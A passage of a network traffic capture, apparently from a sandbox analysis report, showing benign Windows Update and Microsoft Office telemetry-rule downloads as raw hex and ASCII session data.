2024-11-23 20:12:04 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-23 20:12:04 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-23 20:12:04 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-23 20:12:04 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49818	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:04 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=DGcxpd6N9a4u5Ff&MD=YzNwarnv HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-23 20:12:05 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 4ff15dd4-95ad-4ee6-b872-19e67f6dc244 MS-RequestId: 4fd6c2a7-c1ef-449d-b690-56863eaabe64 MS-CV: iMZWnc8pBkynKJcK.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 23 Nov 2024 20:12:03 GMT Connection: close Content-Length: 30005
2024-11-23 20:12:05 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-23 20:12:05 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:06 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:06 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 05856cf7-f01e-0020-4060-3b956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201206Z-178bfbc474bq2pr7hC1NYCkfgg000000052000000000c51d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:07 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:06 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:07 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: f3d0c3d3-f01e-003c-676b-3b8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201207Z-178bfbc474b9fdhphC1NYCac0n00000004t000000000kf85 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:07 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:06 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:07 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 1aa7a34d-201e-0096-3676-3bace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201207Z-178bfbc474bbbqrhhC1NYCvw74000000054g000000006d68 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:07 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:06 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:07 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: cbab64bb-001e-000b-3f4c-3c15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201207Z-15b8b599d88hd9g7hC1TEBp75c00000003g0000000000bwp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:07 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49819	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:06 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:07 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 44ae66ae-301e-001f-7627-3caa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201207Z-15b8b599d885v8r9hC1TEB104g00000003d000000000fg7k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:07 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:08 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:09 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 4712fcc8-d01e-002b-279a-3b25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201209Z-174c587ffdf6b487hC1TEBydsn000000037g00000000s49q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:09 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:09 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:09 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: d8f13441-a01e-0021-5e2d-3c814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201209Z-178bfbc474bscnbchC1NYCe7eg000000054g000000005wgq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:09 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:09 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:09 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: ce5ebd39-a01e-0053-183c-3c8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201209Z-15b8b599d889gj5whC1TEBfyk0000000035g00000000gdt2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:09 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49825	13.107.246.63	443

